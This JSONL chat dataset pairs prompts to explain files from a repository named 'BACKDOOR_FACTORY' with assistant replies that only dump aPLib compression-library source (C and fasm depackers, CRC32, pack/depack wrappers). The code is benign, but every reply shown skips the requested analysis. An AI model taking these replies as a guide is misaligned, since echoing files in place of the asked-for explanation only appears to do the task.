&bit)) {\n\t\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t\t}\n\t\t\t\t\t\toffs = (offs << 1) + bit;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (offs) {\n\t\t\t\t\t\tif (offs > (dstlen - ud.dstlen)) {\n\t\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (!ud.dstlen--) {\n\t\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif (!ud.dstlen--) {\n\t\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t*ud.destination++ = 0x00;\n\t\t\t\t\t}\n\n\t\t\t\t\tLWM = 0;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif (!ud.srclen--) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\toffs = *ud.source++;\n\n\t\t\t\t\tlen = 2 + (offs & 0x0001);\n\n\t\t\t\t\toffs >>= 1;\n\n\t\t\t\t\tif (offs) {\n\t\t\t\t\t\tif (offs > (dstlen - ud.dstlen)) {\n\t\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (len > ud.dstlen) {\n\t\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tud.dstlen -= len;\n\n\t\t\t\t\t\tfor (; len; len--) {\n\t\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tdone = 1;\n\t\t\t\t\t}\n\n\t\t\t\t\tR0 = offs;\n\t\t\t\t\tLWM = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif (!aP_getgamma_safe(&ud, &offs)) {\n\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t}\n\n\t\t\t\tif ((LWM == 0) && (offs == 2)) {\n\t\t\t\t\toffs = R0;\n\n\t\t\t\t\tif (!aP_getgamma_safe(&ud, &len)) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (offs > (dstlen - ud.dstlen)) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (len > ud.dstlen) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tud.dstlen -= len;\n\n\t\t\t\t\tfor (; len; len--) {\n\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif (LWM == 0) {\n\t\t\t\t\t\toffs -= 3;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\toffs -= 2;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (offs > 0x00fffffe) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!ud.srclen--) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\toffs <<= 8;\n\t\t\t\t\toffs += *ud.source++;\n\n\t\t\t\t\tif (!aP_getgamma_safe(&ud, &len)) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (offs >= 32000) {\n\t\t\t\t\t\tlen++;\n\t\t\t\t\t}\n\t\t\t\t\tif (offs >= 1280) {\n\t\t\t\t\t\tlen++;\n\t\t\t\t\t}\n\t\t\t\t\tif (offs < 128) {\n\t\t\t\t\t\tlen += 2;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (offs > (dstlen - ud.dstlen)) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (len > ud.dstlen) {\n\t\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t\t}\n\n\t\t\t\t\tud.dstlen -= len;\n\n\t\t\t\t\tfor (; len; len--) {\n\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t}\n\n\t\t\t\t\tR0 = offs;\n\t\t\t\t}\n\n\t\t\t\tLWM = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (!ud.srclen-- || !ud.dstlen--) {\n\t\t\t\treturn APLIB_ERROR;\n\t\t\t}\n\t\t\t*ud.destination++ = *ud.source++;\n\t\t\tLWM = 0;\n\t\t}\n\t}\n\n\treturn (unsigned int) (ud.destination - (unsigned char *) destination);\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/depacks.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * C safe depacker, header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef DEPACKS_H_INCLUDED\n#define DEPACKS_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\n/* function prototype */\nunsigned int aP_depack_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* DEPACKS_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/crc32.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm assembler crc32\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\n; CRC32 calculation taken from the zlib source, which is\n; Copyright (C) 1995-1998 Jean-loup Gailly and Mark Adler\n\nformat MS COFF\n\npublic aP_crc32 as '_aP_crc32'\n\n; =============================================================\n\nmacro docrcM\n{\n mov ebx, 0x000000ff\n and ebx, eax\n shr eax, 8\n xor eax, [edi+ebx*4]\n}\n\nmacro docrcbyteM\n{\n xor al, [esi]\n inc esi\n docrcM\n}\n\nmacro docrcdwordM\n{\n xor eax, [esi]\n add esi, 4\n docrcM\n docrcM\n docrcM\n docrcM\n}\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_crc32:\n ; aP_crc32(const void *source, unsigned int length)\n\n .ret$ equ 7*4\n .src$ equ 8*4 + 4\n .len$ equ 8*4 + 8\n\n pushad\n\n mov esi, [esp + .src$] ; esi -> buffer\n mov ecx, [esp + .len$] ; ecx = length\n mov edi, aP_crctab ; edi -> crctab\n\n sub eax, eax\n\n test esi, esi\n jz .c_exit\n\n sub eax, 1\n\n test ecx, ecx\n jz .c_done\n\n .c_align_loop:\n test esi, 3\n jz .c_aligned_now\n docrcbyteM\n dec ecx\n jnz .c_align_loop\n\n .c_aligned_now:\n mov edx, ecx\n and edx, 7\n shr ecx, 3\n jz .c_LT_eight\n\n .c_next_eight:\n docrcdwordM\n docrcdwordM\n dec ecx\n jnz .c_next_eight\n\n .c_LT_eight:\n mov ecx, edx\n test ecx, ecx\n jz .c_done\n\n .c_last_loop:\n docrcbyteM\n dec ecx\n jnz .c_last_loop\n\n .c_done:\n not eax\n\n .c_exit:\n mov [esp + .ret$], eax ; return crc32 in eax\n\n popad\n\n ret\n\n; =============================================================\n\nsection '.rdata' data readable\n\naP_crctab dd 000000000h, 077073096h, 0ee0e612ch, 0990951bah, 0076dc419h\n dd 0706af48fh, 0e963a535h, 09e6495a3h, 00edb8832h, 079dcb8a4h\n dd 0e0d5e91eh, 097d2d988h, 009b64c2bh, 07eb17cbdh, 0e7b82d07h\n dd 090bf1d91h, 01db71064h, 06ab020f2h, 0f3b97148h, 084be41deh\n dd 01adad47dh, 06ddde4ebh, 0f4d4b551h, 083d385c7h, 0136c9856h\n dd 0646ba8c0h, 0fd62f97ah, 08a65c9ech, 014015c4fh, 063066cd9h\n dd 0fa0f3d63h, 08d080df5h, 03b6e20c8h, 04c69105eh, 0d56041e4h\n dd 0a2677172h, 03c03e4d1h, 04b04d447h, 0d20d85fdh, 0a50ab56bh\n dd 035b5a8fah, 042b2986ch, 0dbbbc9d6h, 0acbcf940h, 032d86ce3h\n dd 045df5c75h, 0dcd60dcfh, 0abd13d59h, 026d930ach, 051de003ah\n dd 0c8d75180h, 0bfd06116h, 021b4f4b5h, 056b3c423h, 0cfba9599h\n dd 0b8bda50fh, 02802b89eh, 05f058808h, 0c60cd9b2h, 0b10be924h\n dd 02f6f7c87h, 058684c11h, 0c1611dabh, 0b6662d3dh, 076dc4190h\n dd 001db7106h, 098d220bch, 0efd5102ah, 071b18589h, 006b6b51fh\n dd 09fbfe4a5h, 0e8b8d433h, 07807c9a2h, 00f00f934h, 09609a88eh\n dd 0e10e9818h, 07f6a0dbbh, 0086d3d2dh, 091646c97h, 0e6635c01h\n dd 06b6b51f4h, 01c6c6162h, 0856530d8h, 0f262004eh, 06c0695edh\n dd 01b01a57bh, 08208f4c1h, 0f50fc457h, 065b0d9c6h, 012b7e950h\n dd 08bbeb8eah, 0fcb9887ch, 062dd1ddfh, 015da2d49h, 08cd37cf3h\n dd 0fbd44c65h, 04db26158h, 03ab551ceh, 0a3bc0074h, 0d4bb30e2h\n dd 04adfa541h, 03dd895d7h, 0a4d1c46dh, 0d3d6f4fbh, 04369e96ah\n dd 0346ed9fch, 0ad678846h, 0da60b8d0h, 044042d73h, 033031de5h\n dd 0aa0a4c5fh, 0dd0d7cc9h, 05005713ch, 0270241aah, 0be0b1010h\n dd 0c90c2086h, 05768b525h, 0206f85b3h, 0b966d409h, 0ce61e49fh\n dd 05edef90eh, 029d9c998h, 0b0d09822h, 0c7d7a8b4h, 059b33d17h\n dd 02eb40d81h, 0b7bd5c3bh, 0c0ba6cadh, 0edb88320h, 09abfb3b6h\n dd 003b6e20ch, 074b1d29ah, 0ead54739h, 09dd277afh, 004db2615h\n dd 073dc1683h, 0e3630b12h, 094643b84h, 00d6d6a3eh, 07a6a5aa8h\n dd 0e40ecf0bh, 09309ff9dh, 00a00ae27h, 07d079eb1h, 0f00f9344h\n dd 08708a3d2h, 01e01f268h, 06906c2feh, 0f762575dh, 0806567cbh\n dd 0196c3671h, 06e6b06e7h, 0fed41b76h, 089d32be0h, 010da7a5ah\n dd 067dd4acch, 0f9b9df6fh, 08ebeeff9h, 017b7be43h, 060b08ed5h\n dd 0d6d6a3e8h, 0a1d1937eh, 038d8c2c4h, 04fdff252h, 0d1bb67f1h\n dd 0a6bc5767h, 03fb506ddh, 048b2364bh, 0d80d2bdah, 0af0a1b4ch\n dd 036034af6h, 041047a60h, 0df60efc3h, 0a867df55h, 0316e8eefh\n dd 04669be79h, 0cb61b38ch, 0bc66831ah, 0256fd2a0h, 05268e236h\n dd 0cc0c7795h, 0bb0b4703h, 0220216b9h, 05505262fh, 0c5ba3bbeh\n dd 0b2bd0b28h, 02bb45a92h, 05cb36a04h, 0c2d7ffa7h, 0b5d0cf31h\n dd 02cd99e8bh, 05bdeae1dh, 09b64c2b0h, 0ec63f226h, 0756aa39ch\n dd 0026d930ah, 09c0906a9h, 0eb0e363fh, 072076785h, 005005713h\n dd 095bf4a82h, 0e2b87a14h, 07bb12baeh, 00cb61b38h, 092d28e9bh\n dd 0e5d5be0dh, 07cdcefb7h, 00bdbdf21h, 086d3d2d4h, 0f1d4e242h\n dd 068ddb3f8h, 01fda836eh, 081be16cdh, 0f6b9265bh, 06fb077e1h\n dd 018b74777h, 088085ae6h, 0ff0f6a70h, 066063bcah, 011010b5ch\n dd 08f659effh, 0f862ae69h, 0616bffd3h, 0166ccf45h, 0a00ae278h\n dd 0d70dd2eeh, 04e048354h, 03903b3c2h, 0a7672661h, 0d06016f7h\n dd 04969474dh, 03e6e77dbh, 0aed16a4ah, 0d9d65adch, 040df0b66h\n dd 037d83bf0h, 0a9bcae53h, 0debb9ec5h, 047b2cf7fh, 030b5ffe9h\n dd 0bdbdf21ch, 0cabac28ah, 053b39330h, 024b4a3a6h, 0bad03605h\n dd 0cdd70693h, 054de5729h, 023d967bfh, 0b3667a2eh, 0c4614ab8h\n dd 05d681b02h, 02a6f2b94h, 0b40bbe37h, 0c30c8ea1h, 05a05df1bh\n dd 02d02ef8dh\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/depack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm assembler depacker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS COFF\n\npublic aP_depack_asm as '_aP_depack_asm'\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_depack_asm:\n ; aP_depack_asm(const void *source, void *destination)\n\n _ret$ equ 7*4\n _src$ equ 8*4 + 4\n _dst$ equ 8*4 + 8\n\n pushad\n\n mov esi, [esp + _src$] ; C calling convention\n mov edi, [esp + _dst$]\n\n cld\n mov dl, 80h\n xor ebx,ebx\n\nliteral:\n movsb\n mov bl, 2\nnexttag:\n call getbit\n jnc literal\n\n xor ecx, ecx\n call getbit\n jnc codepair\n xor eax, eax\n call getbit\n jnc shortmatch\n mov bl, 2\n inc ecx\n mov al, 10h\n .getmorebits:\n call getbit\n adc al, al\n jnc .getmorebits\n jnz domatch\n stosb\n jmp nexttag\ncodepair:\n call getgamma_no_ecx\n sub ecx, ebx\n jnz normalcodepair\n call getgamma\n jmp domatch_lastpos\n\nshortmatch:\n lodsb\n shr eax, 1\n jz donedepacking\n adc ecx, ecx\n jmp domatch_with_2inc\n\nnormalcodepair:\n xchg eax, ecx\n dec eax\n shl eax, 8\n lodsb\n call getgamma\n\n cmp eax, 32000\n jae domatch_with_2inc\n cmp ah, 5\n jae domatch_with_inc\n cmp eax, 7fh\n ja domatch_new_lastpos\n\ndomatch_with_2inc:\n inc ecx\n\ndomatch_with_inc:\n inc ecx\n\ndomatch_new_lastpos:\n xchg eax, ebp\ndomatch_lastpos:\n mov eax, ebp\n\n mov bl, 1\n\ndomatch:\n push esi\n mov esi, edi\n sub esi, eax\n rep movsb\n pop esi\n jmp nexttag\n\ngetbit:\n add dl, dl\n jnz .stillbitsleft\n mov dl, [esi]\n inc esi\n adc dl, dl\n .stillbitsleft:\n ret\n\ngetgamma:\n xor ecx, ecx\ngetgamma_no_ecx:\n inc ecx\n .getgammaloop:\n call getbit\n adc ecx, ecx\n call getbit\n jc .getgammaloop\n ret\n\ndonedepacking:\n sub edi, [esp + _dst$]\n mov [esp + _ret$], edi ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/depackf.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm fast assembler depacker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS COFF\n\npublic aP_depack_asm_fast as '_aP_depack_asm_fast'\n\n; =============================================================\n\nmacro getbitM\n{\n local .stillbitsleft\n add dl, dl\n jnz .stillbitsleft\n mov dl, [esi]\n inc esi\n adc dl, dl\n .stillbitsleft:\n}\n\nmacro domatchM reg\n{\n push esi\n mov esi, edi\n sub esi, reg\n rep movsb\n pop esi\n}\n\nmacro getgammaM reg\n{\n local .getmore\n\n mov reg, 1\n .getmore:\n getbitM\n adc reg, reg\n getbitM\n jc .getmore\n}\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_depack_asm_fast:\n ; aP_depack_asm_fast(const void *source, void *destination)\n\n _ret$ equ 7*4\n _src$ equ 8*4 + 4\n _dst$ equ 8*4 + 8\n\n pushad\n\n mov esi, [esp + _src$] ; C calling convention\n mov edi, [esp + _dst$]\n\n cld\n mov dl, 80h\n\nliteral:\n mov al, [esi]\n add esi, 1\n mov [edi], al\n add edi, 1\n\n mov ebx, 2\n\nnexttag:\n getbitM\n jnc literal\n\n getbitM\n jnc codepair\n\n xor eax, eax\n getbitM\n jnc shortmatch\n\n getbitM\n adc eax, eax\n getbitM\n adc eax, eax\n getbitM\n adc eax, eax\n getbitM\n adc eax, eax\n jz .thewrite\n\n mov ebx, edi\n sub ebx, eax\n mov al, [ebx]\n\n .thewrite:\n mov [edi], al\n inc edi\n\n mov ebx, 2\n jmp nexttag\n\ncodepair:\n getgammaM eax\n sub eax, ebx\n mov ebx, 1\n jnz normalcodepair\n\n getgammaM ecx\n domatchM ebp\n\n jmp nexttag\n\nnormalcodepair:\n dec eax\n\n shl eax, 8\n mov al, [esi]\n inc esi\n\n mov ebp, eax\n\n getgammaM ecx\n\n cmp eax, 32000\n sbb ecx, -1\n\n cmp eax, 1280\n sbb ecx, -1\n\n cmp eax, 128\n adc ecx, 0\n\n cmp eax, 128\n adc ecx, 0\n\n domatchM eax\n jmp nexttag\n\nshortmatch:\n mov al, [esi]\n inc esi\n\n xor ecx, ecx\n db 0c0h, 0e8h, 001h\n jz donedepacking\n\n adc ecx, 2\n\n mov ebp, eax\n\n domatchM eax\n\n mov ebx, 1\n jmp nexttag\n\ndonedepacking:\n sub edi, [esp + _dst$]\n mov [esp + _ret$], edi ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/depacks.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm safe assembler depacker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS COFF\n\npublic aP_depack_asm_safe as '_aP_depack_asm_safe'\n\n; =============================================================\n\nmacro getbitM\n{\n local .stillbitsleft\n add dl, dl\n jnz .stillbitsleft\n\n sub dword [esp + 4], 1 ; read one byte from source\n jc return_error ;\n\n mov dl, [esi]\n inc esi\n\n add dl, dl\n inc dl\n .stillbitsleft:\n}\n\nmacro domatchM reg\n{\n push ecx\n mov ecx, [esp + 12 + _dlen$] ; ecx = dstlen\n sub ecx, [esp + 4] ; ecx = num written\n cmp reg, ecx\n pop ecx\n ja return_error\n\n sub [esp], ecx ; write ecx bytes to destination\n jc return_error ;\n\n push esi\n mov esi, edi\n sub esi, reg\n rep movsb\n pop esi\n}\n\nmacro getgammaM reg\n{\n local .getmore\n mov reg, 1\n .getmore:\n getbitM\n adc reg, reg\n jc return_error\n getbitM\n jc .getmore\n}\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_depack_asm_safe:\n ; aP_depack_asm_safe(const void *source,\n ; unsigned int srclen,\n ; void *destination,\n ; unsigned int dstlen)\n\n _ret$ equ 7*4\n _src$ equ 8*4 + 4\n _slen$ equ 8*4 + 8\n _dst$ equ 8*4 + 12\n _dlen$ equ 8*4 + 16\n\n pushad\n\n mov esi, [esp + _src$] ; C calling convention\n mov eax, [esp + _slen$]\n mov edi, [esp + _dst$]\n mov ecx, [esp + _dlen$]\n\n push eax\n push ecx\n\n test esi, esi\n jz return_error\n\n test edi, edi\n jz return_error\n\n or ebp, -1\n\n cld\n xor edx, edx\n\nliteral:\n sub dword [esp + 4], 1 ; read one byte from source\n jc return_error ;\n\n mov al, [esi]\n add esi, 1\n\n sub dword [esp], 1 ; write one byte to destination\n jc return_error ;\n\n mov [edi], al\n add edi, 1\n\n mov ebx, 2\n\nnexttag:\n getbitM\n jnc literal\n\n getbitM\n jnc codepair\n\n xor eax, eax\n\n getbitM\n jnc shortmatch\n\n getbitM\n adc eax, eax\n getbitM\n adc eax, eax\n getbitM\n adc eax, eax\n getbitM\n adc eax, eax\n jz .thewrite\n\n mov ebx, [esp + 8 + _dlen$] ; ebx = dstlen\n sub ebx, [esp] ; ebx = num written\n cmp eax, ebx\n ja return_error\n\n mov ebx, edi\n sub ebx, eax\n mov al, [ebx]\n\n .thewrite:\n sub dword [esp], 1 ; write one byte to destination\n jc return_error ;\n\n mov [edi], al\n inc edi\n\n mov ebx, 2\n\n jmp nexttag\n\ncodepair:\n getgammaM eax\n\n sub eax, ebx\n\n mov ebx, 1\n\n jnz normalcodepair\n\n getgammaM ecx\n\n domatchM ebp\n\n jmp nexttag\n\nnormalcodepair:\n dec eax\n\n test eax, 0xff000000\n jnz return_error\n\n shl eax, 8\n\n sub dword [esp + 4], 1 ; read one byte from source\n jc return_error ;\n\n mov al, [esi]\n inc esi\n\n mov ebp, eax\n\n getgammaM ecx\n\n cmp eax, 32000\n sbb ecx, -1\n\n cmp eax, 1280\n sbb ecx, -1\n\n cmp eax, 128\n adc ecx, 0\n\n cmp eax, 128\n adc ecx, 0\n\n domatchM eax\n jmp nexttag\n\nshortmatch:\n sub dword [esp + 4], 1 ; read one byte from source\n jc return_error ;\n\n mov al, [esi]\n inc esi\n\n xor ecx, ecx\n db 0c0h, 0e8h, 001h\n jz donedepacking\n\n adc ecx, 2\n\n mov ebp, eax\n\n domatchM eax\n\n mov ebx, 1\n\n jmp nexttag\n\nreturn_error:\n add esp, 8\n\n popad\n\n or eax, -1 ; return APLIB_ERROR in eax\n\n ret\n\ndonedepacking:\n add esp, 8\n\n sub edi, [esp + _dst$]\n mov [esp + _ret$], edi ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/scheck.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm safe assembler crc checker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS COFF\n\npublic aPsafe_check as '_aPsafe_check'\n\nextrn '_aP_crc32' as aP_crc32\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_check:\n ; aPsafe_check(const void *source)\n\n .ret$ equ 7*4\n .src$ equ 8*4 + 4\n\n pushad\n\n mov esi, [esp + .src$] ; esi -> buffer\n\n test esi, esi\n jz .return_error\n\n mov ebx, [esi] ; ebx = header.tag\n\n cmp ebx, 032335041h ; check tag == 'AP32'\n jne .return_error\n\n mov ebx, [esi + 4] ; ebx = header.header_size\n cmp ebx, 24 ; check header_size >= 24\n jb .return_error\n\n add ebx, esi ; ebx -> packed data\n\n push dword [esi + 8] ; push header.packed_size\n push ebx\n call aP_crc32\n add esp, 8\n\n cmp eax, [esi + 12] ; check eax == header.packed_crc\n\n mov eax, [esi + 16] ; eax = header.orig_size\n\n je .return_eax\n\n .return_error:\n or eax, -1 ; eax = -1\n\n .return_eax:\n mov [esp + .ret$], eax ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/sdepack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm safe assembler wrapper for aP_depack_asm_safe\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS COFF\n\npublic aPsafe_depack as '_aPsafe_depack'\n\nextrn '_aP_depack_asm_safe' as aP_depack_asm_safe\nextrn '_aP_crc32' as aP_crc32\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_depack:\n ; aPsafe_depack(const void *source,\n ; size_t srclen,\n ; void *destination\n ; size_t dstlen)\n\n .ret$ equ 7*4\n .src$ equ 8*4 + 4\n .slen$ equ 8*4 + 8\n .dst$ equ 8*4 + 12\n .dlen$ equ 8*4 + 16\n\n pushad\n\n mov esi, [esp + .src$] ; esi -> inbuffer\n mov ecx, [esp + .slen$] ; ecx = srclen\n mov edi, [esp + .dst$] ; edi -> outbuffer\n\n test esi, esi\n jz .return_error\n\n test edi, edi\n jz .return_error\n\n cmp ecx, 24 ; check srclen >= 24\n jb .return_error\n\n mov ebx, [esi] ; ebx = header.tag\n\n cmp ebx, 032335041h ; check tag == 'AP32'\n jne .return_error\n\n mov ebx, [esi + 4] ; ebx = header.header_size\n cmp ebx, 24 ; check header_size >= 24\n jb .return_error\n\n sub ecx, ebx ; ecx = srclen without header\n jc .return_error\n\n cmp [esi + 8], ecx ; check header.packed_size is\n ja .return_error ; within remaining srclen\n\n add ebx, esi ; ebx -> packed data\n\n push dword [esi + 8] ; push header.packed_size\n push ebx\n call aP_crc32\n add esp, 8\n\n cmp eax, [esi + 12] ; check eax == header.packed_crc\n jne .return_error\n\n mov ecx, [esp + .dlen$] ; ecx = dstlen\n cmp [esi + 16], ecx ; check header.orig_size is ok\n ja .return_error\n\n push ecx ; push dstlen\n push edi\n push dword [esi + 8] ; push header.packed_size\n push ebx\n call aP_depack_asm_safe\n add esp, 16\n\n cmp eax, [esi + 16] ; check eax == header.orig_size\n jne .return_error\n\n mov ebx, eax ; ebx = unpacked size\n\n push eax\n push edi\n call aP_crc32\n add esp, 8\n\n cmp eax, [esi + 20] ; check eax == header.orig_crc\n\n mov eax, ebx ; eax = unpacked size\n\n je .return_eax\n\n .return_error:\n or eax, -1 ; eax = -1\n\n .return_eax:\n mov [esp + .ret$], eax ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/sgetsize.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm safe assembler header access\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS COFF\n\npublic aPsafe_get_orig_size as '_aPsafe_get_orig_size'\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_get_orig_size:\n ; aPsafe_get_orig_size(const void *source)\n\n .ret$ equ 7*4\n .src$ equ 8*4 + 4\n\n pushad\n\n mov esi, [esp + .src$] ; esi -> buffer\n\n mov ebx, [esi] ; ebx = header.tag\n\n or eax, -1 ; eax = -1\n\n cmp ebx, 032335041h ; check tag == 'AP32'\n jne .return_eax\n\n mov ebx, [esi + 4] ; ebx = header.header_size\n cmp ebx, 24 ; check header_size >= 24\n jb .return_eax\n\n mov eax, [esi + 16] ; eax = header.orig_size\n\n .return_eax:\n mov [esp + .ret$], eax ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/32bit/spack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm safe assembler wrapper for aP_pack\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\n; header format:\n;\n; offs size data\n; --------------------------------------\n; 0 dword tag ('AP32')\n; 4 dword header_size (24 bytes)\n; 8 dword packed_size\n; 12 dword packed_crc\n; 16 dword orig_size\n; 20 dword orig_crc\n\nformat MS COFF\n\npublic aPsafe_pack as '_aPsafe_pack'\n\nextrn '_aP_pack' as aP_pack\nextrn '_aP_crc32' as aP_crc32\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_pack:\n ; aPsafe_pack(const void *source,\n ; void *destination,\n ; unsigned int length,\n ; void *workmem,\n ; int (*callback)(unsigned int, unsigned int, void *),\n ; void *cbparam)\n\n .ret$ equ 